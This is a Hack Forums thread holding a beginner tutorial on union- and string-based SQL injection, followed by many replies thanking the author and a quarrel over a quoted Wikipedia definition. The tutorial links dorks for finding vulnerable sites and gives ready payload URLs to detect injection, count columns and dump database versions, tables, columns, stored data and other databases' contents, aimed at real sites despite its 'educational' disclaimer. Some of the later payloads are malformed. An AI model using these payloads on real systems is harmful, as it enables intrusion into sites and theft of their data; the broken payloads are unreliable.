

Forum:[Hack Forums](#)

Thread: [\[Tut\] SQL Injection: Union and String Based | Noob Friendly | Most Detailed \[Tut\]](#)

F-Nuke - April 13, 2015, 3:27 am

Disclaimer: I take no responsibility of what you do with the knowledge gained from this tutorial. This tutorial is purely for educational purposes.

Many of us exploit SQL Injection holes without knowing what is actually happening on the backend. It might be possible to hack a few easy sites by following tutorials exactly as they are. But to actually master the art of SQL Injection, you need to know what is happening and how to alter the way it works. I truly believe that knowing how something works and how to alter the way it works is what differentiates a hacker from a skid. This tutorial is going to be long, please bear with me. I'm going to explain every single step in a detailed manner. It is always good to know the language we are working with, in this case it is SQL. I suggest you to take a look at this before reading the tutorial. It will help you to understand the concepts quicker: <http://www.w3schools.com/sql/>

Let's get started!

Basics:

What is SQL Injection (SQLi) exactly?

According to Wikipedia:

"SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database."

So basically, it is injecting SQL queries into entry field for execution on the backend. With proper SQLi, an attacker could dump the database, delete, insert or alter the data in the database. This could be disastrous for a website's database.

How to find websites vulnerable to SQLi?

You can use dorks to find websites with SQL. Here are some dorks to help you find websites vulnerable to SQLi:

<http://pastebin.com/yaJD7Qi5>

How do I check if a website is vulnerable to SQLi?

You can check if a website/web app is vulnerable to SQLi by putting a single quote (') at the end of the URL. (Note: This might not work for advanced injection techniques like time based injection)

If the web page throws an error at us when a single quote (') is added, the webpage might be vulnerable. The error generally looks like this:

Spoiler ([Click to View](#))

To understand how this works, you will have to know what is happening on the backend when you visit a website which is data driven (that is, in simpler terms, which uses a database or retrieves info from a database to be shown on the page).

Let's say this is our potential vulnerable website which is data driven:

Code `http://www.example.com/index.php?id=1`

So when we visit the site, a query is made to the database to find and retrieve the data row which has an ID of '1'.

Let's take a look at the piece code (query) which makes this happen:

Code `$id = $_GET['id'];`

`$sql = "SELECT * FROM profiles WHERE id='$id' LIMIT 0,1";`

As you can see, the variable `$id` is being assigned to the GET request 'id' without being properly sanitized (or sanitized at all). So when we put a single quote ('), the whole query gets messed up:

Code `http://www.example.com/index.php?id=1'`

The query becomes:

Code `$sql = "SELECT * FROM profiles WHERE id='1" LIMIT 0,1";`

That extra quote after 1, messes it all. The DB gets confused and throws an error at us. This is just to make sure if our queries get executed on the DB or not.

Note: Sometimes single quote won't work and you will have to try double quotes. It depends on the type of quotes the variable is enclosed in. Put a backslash (\) at the end of the URL to find out which quote to use, sometimes the query even has brackets.

Spoiler ([Click to View](#))

As you can see, the backslash is getting enclosed in single quotes. So, I'm supposed to use a single quote to mess the query up.

So earlier, we successfully messed up the query but putting a single quote ('). Now its time to fix it. Leave a space and put two dashes and a plus (--+) after the single quote.

So it becomes:

Code `http://www.example.com/index.php?id=1' --+`

If the above injection fixes the query (that is, if the page is being displayed as it is supposed to be), we are working with a "String Based Injection".

Let's break it down.

Two dashes and a plus (--+) is actually a multi-line comment in SQL. Or the plus sign (+) can be

considered as a space. The plus sign might not get passed on to the actual query in some cases. When it is injected, the query becomes:

```
Code $sql = "SELECT * FROM profiles WHERE id='1'--+ LIMIT 0,1";
```

Now there are no extra quotes in the middle to mess up the query and it is also a valid query. Whatever is after the --+ is considered as a comment and is ignored by the DB. Since the query is valid, DB returns the right info.

In some cases, the above query doesn't fix the query. If that is the case, we are working with a "Normal Union Based Injection"

Let's take a look at the code/query that causes it:

```
Code $sql = 'SELECT * FROM profiles WHERE id=$id LIMIT 0,1';
```

As you can see, the variable isn't enclosed in quotes. So it is useless to use a quote and a multiline comment. So, we inject in this way:

```
Code http://www.example.com/index.php?id=1 --
```

Then the query becomes:

```
Code $sql = 'SELECT * FROM profiles WHERE id=$id -- LIMIT 0,1';
```

So no extra queries in the middle, just nice and clean. So this is a valid query and the DB responds with the right info.

Now that we know that the site is vulnerable to SQLi, we will have to find out the number of columns being queried by the page. For example, if the 'profiles' tables has 'name', 'age' 'bio' columns and if the query is:

```
Code SELECT name, age FROM profiles WHERE id=$id LIMIT 0,1;
```

That means, the page is querying 2 columns from the DB. And those column data is showed on the page.

Counting Columns:

To count the number of column being queried by the page, we use an "ORDER BY" statement.

If you have a string based injection, the payload becomes:

```
Code http://www.example.com/index.php?id=1' ORDER BY x --+
```

If you have a normal union based injection, the payload becomes:

```
Code http://www.example.com/index.php?id=1 ORDER BY x --
```

Basically the difference between String Based Injection and Normal Union Based Injection is the way we mess up and fix the queries, the rest is same for both.

Since we don't know the number of columns, we are going to guess it.

For a string based injection, the payload is (if you are working with a normal union based injection, just remove the quote and the plus):

```
Code http://www.example.com/index.php?id=1' ORDER BY 10 --+
```

I get some error like this:

Spoiler ([Click to View](#))

So that means that the number of columns is not correct. It should be less than that. I'm going to try 5 this time:

Code `http://www.example.com/index.php?id=1' ORDER BY 5 --+`

I get the same "Unknown Clause" error. So the number is definitely less than 5. Going to try 3 now.

Code `http://www.example.com/index.php?id=1' ORDER BY 3 --+`

No error! That means the number of columns is either greater than or equal to 3. Let's try 4 now.

Code `http://www.example.com/index.php?id=1' ORDER BY 4 --+`

I get the same "Unknown Clause" error. I get no error for 3 and I get an error for 4. So this means, the number of columns is equal to 3.

So now that we know the number of columns being queried by the page, we need to know which of the columns actually get printed out on to the page. For example, say 3 columns are being queried for and only two of them are being printed on to the page. So we inject into any of the column being printed. There is no point in injecting into a column which is not visible, as we have to see the DB's response to actually proceed in injecting.

Finding the Appropriate Columns to Inject to Inject Into:

We can consider these "visible columns" as the "most vulnerable columns". We use an "UNION SELECT" statement to find out the "most vulnerable columns". UNION statement is used to combine the result of multiple SELECT statements at once. If look closely, we had a select statement at the beginning of the query. So to it, we are putting another SELECT statement, so we have to use a UNION SELECT to combine the results of those two SELECT queries.

NOTE: Always put a "-" minus sign before the GET value. In this case the 'id' value. We have to do this because the result shows only the first query result on the page and our injection is not shown if the vulnerable GET request has a valid value. ID value can't be negative, so by putting the minus sign before it, we are making it an invalid value, thus, only our injection result shows up and not the actual query result. This is important.

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,2,3 --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,2,3 --`

When I use that payload, the query becomes:

In the case of String Based Inject:

Code `$sql = 'SELECT * FROM profiles WHERE id='$id' UNION SELECT 1,2,3 --+' LIMIT 0,1';`

In the case of Normal Union Based Inject:

Code `$sql = 'SELECT * FROM profiles WHERE id=$id UNION SELECT 1,2,3 -- LIMIT 0,1';`

The page gives me 2 numbers. They are the visible or most vulnerable columns:

Spoiler [\(Click to View\)](#)

Now, it means, I can inject into either the 2nd or the 3rd column.

The tutorial is continued below.

F-Nuke - April 13, 2015, 3:28 am

Injection:

Here are a few standard SQL functions/queries which will help you with the injection:

Code @@version - shows the version of MySQL.

version() - shows the version of MySQL.

database() - shows the name of the database.

user() - shows the current DB user

The first thing to do while injecting is to check the version of MySQL. Use either @@version or version() for it. If the version is 5 or greater, our work will be much easier. This is because, in versions 5 and greater, MySQL has introduced information_schema which has the information about all the databases and tables. It makes our work a lot easier. If the version is lesser than 5, you will have to "guess" the table names which is a pain in the ass.

So, I'm going to find the database version:

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,@@version,3 --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,@@version,3 --`

It gives me this:

Spoiler [\(Click to View\)](#)

The version is >5, so its all good, I can use information_schema.

Okay now, let's dump the tables.

Dumping Tables:

As I already said before, we have information_schema on versions greater than 5. So we're going to use it to dump tables.

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,group_concat(table_name,0x0a),3 FROM information_schema.tables WHERE table_schema = database() --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(table_name,0x0a),3 FROM information_schema.tables WHERE table_schema = database() --`

Let's break it down:

`group_concat(table_name, 0x0a)` - it combines the `table_name` and `0x0a` (it is hex code for space, just to make your dump look neat)

`FROM information_schema.tables WHERE table_schema = database()` - we are telling the database to retrieve `table_name` from `information_schema.tables` where `table_schema` is the current database.

So that gives us the table names. Now let's dump the column names.

Dumping Columns:

It is almost similar to dumping table names:

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,group_concat(column_name,0x0a),3 FROM information_schema.columns WHERE table_name = [0xhex value of table name] --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name,0x0a),3 FROM information_schema.columns WHERE table_name = [0xhex value of table name] --`

Let's break it down:

`group_concat()` - it combines the `column_name` and `0x0a` (it is hex code for space, just to make your dump look neat)

`FROM information_schema.columns WHERE table_name = [0xhex value of table name]` - we are telling the DB to retrieve `column_name` from `information_schema.columns` where `table_name` is `0x` followed by the name of the table in hex format.

For example, if you want to know the columns of the table 'admin', you should convert it to hex format first. Hex for admin is 61646d696e, so the table name becomes 0x61646d696e. We add the 0x before the hex to make it readable.

So that gives use the column names. Once we know the column names and the table names, it is quite easy to dump the data in the tables.

Dumping Data from Tables:

Dumping the data is quite easy after we know the table names and the column names.

To dump data:

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,group_concat(column_name_1,0x3a, column_name_2, 0x0a),3 FROM "name of the table" --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name_1,0x3a, column_name_2, 0x0a),3 FROM "name of the table" --`

Let's break it down:

`group_concat(column_name_1, 0x3a, column_name_2, 0x0a)` - We are specifying the columns we are willing to dump, you should put your column names instead of `column_name_1` and `column_name_2`. You can dump as many columns as you want using the `group_concat()` function. `0x3a` is just hex code for the character ":", just to make it look good. You can really put any character you want. Just put `0x` followed by the hex value of the character.

`FROM "name of the table"` - we are specifying where to dump the data from. Put your table name inside the quotes.

Use this to convert text to hex: <http://www.swingnote.com/tools/texttohex.php>

Dump Data From Other Databases on the MySQL server that the Website Uses:

It is quite common for a website to use more than one DB. So let's see how to dump data from the other DBs are present on the mysql server that the website uses.

Finding the list of DBs on the mysql server that the website uses:

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,group_concat(schema_name,0x0a),3 FROM information_schema.schemata --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(schema_name,0x0a),3 FROM information_schema.schemata --`

Let's break it down:

`group_concat(schema_name, 0x0a)` - it combines the `schema_name` and `0x0a` (it is hex code for space, just to make your dump look neat)

`FROM information_schema.schemata` - we are specifying where to look for the 'list' of DBs.

Now that you have the DB names, we can proceed to dump data from them.

Dumping Table names from a DB which is not the current DB:

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,group_concat(table_name,0x0a),3 FROM information_schema.tables WHERE table_schema = [0xhexdatabase name] --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(table_name,0x0a),3 FROM information_schema.tables WHERE table_schema = [0xhexdatabase name] --`

Let's break it down:

`group_concat(table_name, 0x0a)` - it combines the `table_name` and `0x0a` (it is hex code for space, just to make your dump look neat)

`FROM information_schema.tables WHERE table_schema = [0xhexdatabase name]` - we are specifying from where to retrieve `table_name` from. While dumping the table names of the current

database, we used database() function. But since we are dumping from a DB which is not the current DB, we will have to specify the name of the DB in hex.

Now that we have the table name, let's dump the column names.

Dumping the Column names of a table from a DB which is not the current DB:

It is almost similar to dumping table names:

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,group_concat(column_name, 0x0a),3 FROM information_schema.columns WHERE schema_name=0xhexdbname AND table_name=0xhextablename --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name, 0x0a),3 FROM information_schema.columns WHERE schema_name=0xhexdbname AND table_name=0xhextablename --`

Let's break it down:

group_concat() - it combines the column_name and 0x0a (it is hex code for space, just to make your dump look neat)

FROM information_schema.columns WHERE schema_name=0xhexdbname AND table_name=0xhextablename - We are specifying where to retrieve the column names from. Since we are dumping from a DB that is not the current DB, we have to specify both the table name and also the dbname using table_name and schema_name respectively in hex.

Now that we have the column names, let's dump the data.

Dumping Data from Tables from a DB which is not the current DB:

Dumping the data is quite easy after we know the table names and the column names.

To dump data:

If you have a string based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1' UNION SELECT 1,group_concat(column_name_1, 0x3a, column_name_2, 0x0a),3 FROM table_name=0xhextablename where schema_name=0xhexdbname --+`

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name_1, 0x3a, column_name_2, 0x0a),3 FROM table_name=0xhextablename where schema_name=0xhexdbname --`

Let's break it down:

group_concat(column_name_1, 0x3a, column_name_2, 0x0a) - We are specifying the columns we are willing to dump, you should put your column names instead of column_name_1 and column_name_2. You can dump as many columns as you want using the group_concat() function. 0x3a is just hex code for the character ":", just to make it look good. You can really put any character you want. Just put 0x followed by the hex value of the character.

FROM table_name=0xhextablename where schema_name=0xhexdbname - we are specifying where to dump the data from. Since we are dumping from a DB which is not the current DB, we will have to specify both the table name and also the dbname using table_name and schema_name respectively in hex.

Now you have the data you wanted to dump before you!

Conclusion:

I know this has been a real long tutorial, but I'm sure it would've helped you understand more about SQLi and what actually is happening on the backend while injecting. If you think I missed anything, or if you have doubts, suggestions or criticism, just post here! I'm open to it all. I will improve this tutorial over time and will post more HQ ones like this in the coming days.

Thank you!

HelpingOthers - April 13, 2015, 3:35 am

Thank you for this fantastic tutorial. Will definitely learn from it as I am new to SQLi

Viktory - April 13, 2015, 3:41 am

A very nice write-up here, not a lot of tutorials actually explain what's happening in the backend while we sql inject.

I'm sure beginners will find this very helpful!

F-Nuke - April 13, 2015, 5:05 am

Thanks for the feedback! Glad you both like it.

The Collector - April 13, 2015, 8:46 am

this i think, is what the beginners were waiting for. a Complete guide and tutorial on SQL(i).

Keep up the good work.

Looking forward for more. cheers!

deiski - April 13, 2015, 8:50 am

Interesting tutorial and extremely lengthy, thank you!

EDIT: Copied the first paragraph, not the rest though.

Quote:SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

F-Nuke - April 13, 2015, 9:48 am

(Apr 13, 2015 08:50 AM)+Cyan Wrote: [\[CITE\]](#) Interesting tutorial and extremely lengthy, thank you!

EDIT: Actually I take it back, don't copy others work.

That paragraph was taken from Wikipedia FYI. Only that paragraph. And the rest i wrote it on Notepad++

AnonLeaks - April 13, 2015, 11:03 am

Well done on making your Tutorial hope it helps some noobs out on SQL Injection ;)

F-Nuke - April 13, 2015, 1:15 pm

Thank you for the feedback everybody! Made quite a bit of changes to the tut.

Obi-Wan Cannabis - April 14, 2015, 2:12 am

Long post but I guess it might come in handy. Been trying to get into SQLi for a while.
Thanks mate!

F-Nuke - April 14, 2015, 2:19 am

(Apr 14, 2015 02:12 AM)Porcupine Tree Wrote: [\[CITE\]](#) Long post but I guess it might come in handy.
Been trying to get into SQLi for a while.
Thanks mate!
Thanks for the feedback and yes it is big. Explained everything in a detailed manner. :)

deiski - April 14, 2015, 8:03 am

(Apr 14, 2015 02:19 AM)F-Nuke Wrote: [\[CITE\]](#) Thanks for the feedback and yes it is big. Explained everything in a detailed manner. :)
I'm sure you explained the meaning of SQLi in a detailed manner too, yes?

LuxyDev - April 14, 2015, 8:12 am

i add this on my favorites.
Thanks you very much to share this man !!! :)

F-Nuke - April 14, 2015, 8:17 am

(Apr 14, 2015 08:12 AM)LuxyDev Wrote: [\[CITE\]](#) i add this on my favorites.
Thanks you very much to share this man !!! :)
Thanks for the feedback! Glad you like it.

deiski - April 14, 2015, 9:09 am

(Apr 14, 2015 08:17 AM)F-Nuke Wrote: [\[CITE\]](#) Thanks for the feedback! Glad you like it.
Nice editing your thread after I caught you. ;-)

Viktory - April 14, 2015, 9:16 am

(Apr 14, 2015 09:09 AM)+Cyan Wrote: [\[CITE\]](#) Nice editing your thread after I caught you. ;-)
So are you gonna accuse dictionaries for plagiarism because they have the same meaning of words written as other dictionaries?
You're being an idiot.

F-Nuke - April 14, 2015, 9:17 am

(Apr 14, 2015 09:09 AM)+Cyan Wrote: [\[CITE\]](#) Nice editing your thread after I caught you. ;-)
What is your problem? I already told you that i took the definition from SQLi. I also made a few other edits to the thread. So please don't try to be a prick.

deiski - April 14, 2015, 10:18 am

(Apr 14, 2015 09:17 AM)F-Nuke Wrote: [\[CITE\]](#) What is your problem? I already told you that i took the definition from SQLi. I also made a few other edits to the thread. So please don't try to be a prick.
I am trying to help your IQ level raise, I already broke my legs from when I jumped from my IQ level

down to yours.

F-Nuke - April 14, 2015, 10:40 am

(Apr 14, 2015 10:18 AM)+Cyan Wrote: [\[CITE\]](#) I am trying to help your IQ level raise, I already broke my legs from when I jumped from my IQ level down to yours.

Please don't worry about my IQ, and worry about yours.

deiski - April 14, 2015, 10:44 am

(Apr 14, 2015 10:40 AM)F-Nuke Wrote: [\[CITE\]](#) Please don't worry about my IQ, and worry about yours.

How do I get back up if my legs are broken from that massive fall?

F-Nuke - April 15, 2015, 1:16 am

(Apr 14, 2015 10:44 AM)+Cyan Wrote: [\[CITE\]](#) How do I get back up if my legs are broken from that massive fall?

Go to a doctor maybe? And I dont understand why the topic of "IQ" was brought up here.

deiski - April 15, 2015, 3:38 am

(Apr 15, 2015 01:16 AM)F-Nuke Wrote: [\[CITE\]](#) Go to a doctor maybe? And I dont understand why the topic of "IQ" was brought up here.

That's a good idea, cheers bro!?

Sahaj - April 15, 2015, 3:39 am

Very nice and detailed tutorial. Thanks for posting this. :)

F-Nuke - April 15, 2015, 4:55 am

(Apr 15, 2015 03:39 AM)Sahaj Wrote: [\[CITE\]](#) Very nice and detailed tutorial. Thanks for posting this. :)

Thanks for the feedback. Glad you like it.

startitit2 - April 15, 2015, 5:22 am

very accurate and good tutorial. Thanbk you for sharing

F-Nuke - April 15, 2015, 5:44 am

(Apr 15, 2015 05:22 AM)startitit2 Wrote: [\[CITE\]](#) very accurate and good tutorial. Thanbk you for sharing

Thanks for the feedback. Glad you like it. :)

DarkMethods - April 15, 2015, 8:23 am

Nice tutorial, MySQL Injection it's a very easy.

F-Nuke - April 15, 2015, 10:40 am

(Apr 15, 2015 08:23 AM)DarkMethods Wrote: [\[CITE\]](#) Nice tutorial, MySQL Injection it's a very easy. Thank you for the feedback. Glad you like it. :)

asm-99 - April 16, 2015, 7:44 pm

Nice Tut, Keep it up man ?!

F-Nuke - April 16, 2015, 9:12 pm

(Apr 16, 2015 07:44 PM)asm-99 Wrote: [\[CITE\]](#) Nice Tut, Keep it up man ?!

Thank you for the feedback! Glad you like it.

spaceman07 - April 17, 2015, 3:59 am

thanks for the guide.. alot more to learn for me.

F-Nuke - April 21, 2015, 4:37 am

(Apr 17, 2015 03:59 AM)spaceman07 Wrote: [\[CITE\]](#) thanks for the guide.. alot more to learn for me.
Thanks for the feedback! Glad you like it.

Vector.A+ - May 1, 2015, 10:13 am

thank you it is really noob friendly :)

F-Nuke - May 1, 2015, 2:04 pm

(May 1, 2015 10:13 AM)max_steel Wrote: [\[CITE\]](#) thank you it is really noob friendly :)
Thanks for the feedback! Glad you like it.

mad_ali - May 3, 2015, 2:27 pm

intersting will wait for threads on blind/BOF /double query

Havij777 - May 13, 2015, 4:26 am

Thank you so much, I can learn a lot from this ?

NiggaNeww - May 13, 2015, 7:16 am

I known this but not this informations. Thanks for share.

Up In The Smoke - May 13, 2015, 8:54 am

a nice read, thanks for the tut..

?Spar - June 1, 2015, 10:57 pm

This is great, Thank you for this tutorial F-Nuke

F-Nuke - June 1, 2015, 11:08 pm

(Jun 1, 2015 10:57 PM)VvDarkvV Wrote: [\[CITE\]](#) This is great, Thank you for this tutorial F-Nuke
Thank you for the feedback. Glad you like it!

Learner Boy - June 17, 2015, 5:08 am

Thanks a lot for this.

Much appreciated

Talu - June 17, 2015, 9:36 am

An excellent tutorial, thanks a lot for the share.

F-Nuke - June 20, 2015, 5:46 am

(Jun 17, 2015 09:36 AM)Frenzy™ Wrote: [\[CITE\]](#) An excellent tutorial, thanks a lot for the share.
Glad you like it. Thanks for the feedback.

F-Nuke - September 16, 2015, 6:36 am

Feedback is appreciated! Will be writing a tutorial on other types of injection soon. :)

Ramsey - September 16, 2015, 7:19 am

Thank you so much for this!

I read some of it now. Will come back later to complete this Tut.

KryptLik - September 16, 2015, 10:03 am

Thanks very usefull tutorial! :)

F-Nuke - September 17, 2015, 1:32 am

(Sep 16, 2015 07:19 AM)Raizor Wrote: [CITE](#) Thank you so much for this!

I read some of it now. Will come back later to complete this Tut.

(Sep 16, 2015 10:03 AM)KryptLik Wrote: [CITE](#) Thanks very usefull tutorial! :)

Glad you both like it. Appreciate the feedback!

Mr PrOxy - September 21, 2015, 9:07 am

?

Thank you very much.helped a lot

karma040 - September 21, 2015, 9:09 am

i like this :)! people could learn from this

TheCaptainRoot - September 21, 2015, 9:58 am

Thank you So much F-Nuke, very detailed Explained HQ Tutorial Buddy.

KryptLik - September 26, 2015, 3:32 pm

Thanks very usefull thread and a lot of good info

F-Nuke - September 27, 2015, 8:53 am

Thanks for all the feedback. I appreciate it.

wasp714 - October 14, 2015, 4:21 pm

Hey a very descriptive and detailed TuT...will need to read it a few more time to process all the information...but fantastic thanks very much for taking the time.....brilliant! ?

DangLOL - October 19, 2015, 11:02 pm

thanks for da share xD